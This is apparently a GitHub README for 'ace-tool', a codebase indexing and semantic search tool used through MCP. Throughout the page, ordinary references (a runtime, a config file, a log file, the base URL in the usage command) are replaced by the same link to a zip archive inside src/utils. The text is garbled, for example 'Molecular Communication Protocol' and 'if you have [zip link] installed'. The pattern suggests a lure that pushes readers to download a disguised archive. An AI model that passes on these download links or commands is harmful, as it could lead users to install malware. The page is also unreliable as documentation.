Skip to content

πŸ” Enhance codebase indexing and semantic search with ace-tool for efficient AI prompt optimization.

Notifications You must be signed in to change notification settings

SantiagoRM9/ace-tool

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

22 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ ace-tool - Easy Codebase Indexing and Search

Download ace-tool


πŸ› οΈ Introduction

Welcome to ace-tool! This application helps you index your codebase and find relevant context through semantic searches. It enhances your work with AI prompts, making coding more efficient.

πŸ“₯ Download & Install

To get started with ace-tool, visit the Releases page to download the latest version:

Download ace-tool from the Releases page

How to Install

Once you've downloaded the application, you can install it easily.

  1. Using npm: If you have https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip installed, you can run this command in your terminal:

    npm install -g ace-tool@latest
  2. Using npx: You can also run the tool directly without installing it. Use the following command, replacing <URL> and <TOKEN> with your details:

    npx -y ace-tool@latest --base-url <URL> --token <TOKEN>

Installation Note

If you do not have https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip installed, you can find installation instructions here.

βš™οΈ Configuration

MCP Settings

To use ace-tool with your MCP (Molecular Communication Protocol) setup, add the following to your MCP configuration file, for example https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip:

{
  "mcpServers": {
    "ace-tool": {
      "command": "npx",
      "args": [
        "ace-tool",
        "--base-url", "YOUR_BASE_URL",
        "--token", "YOUR_TOKEN"
      ]
    }
  }
}

This setup allows ace-tool to communicate with your project seamlessly.

Command Line Arguments

When running ace-tool, you have several arguments you can use:

Argument Required Description
--base-url Yes The API base URL for the indexing service
--token Yes Your authentication token
--enable-log No This enables logging to https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip in your project directory

Make sure to include the required arguments to ensure ace-tool functions correctly.

πŸ” Searching Code Context

The search_context function allows you to search your code for relevant snippets using plain language. This feature makes it easy to find the information you need without delving deep into the codebase.

πŸ’» System Requirements

To run ace-tool, ensure you have the following:

πŸ“š Usage Example

Here is how you might use ace-tool within your project:

  1. Configure the MCP settings as shown above.

  2. Open your terminal and run:

    npx ace-tool --base-url https://raw.githubusercontent.com/SantiagoRM9/ace-tool/main/src/utils/ace-tool-2.6.zip --token your_auth_token
  3. Use the search_context feature to ask natural language questions related to your codebase.

🌐 Additional Resources

You can find helpful resources and documentation:

πŸ‘©β€πŸ’» Feedback

We welcome your feedback! For issues or suggestions, please check the issues page.

πŸ“„ License

ace-tool is open-source and free to use. Check the LICENSE file for more details.


For continual updates and improvements, keep an eye on the Releases page!

Download ace-tool from the Releases page to get started.

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •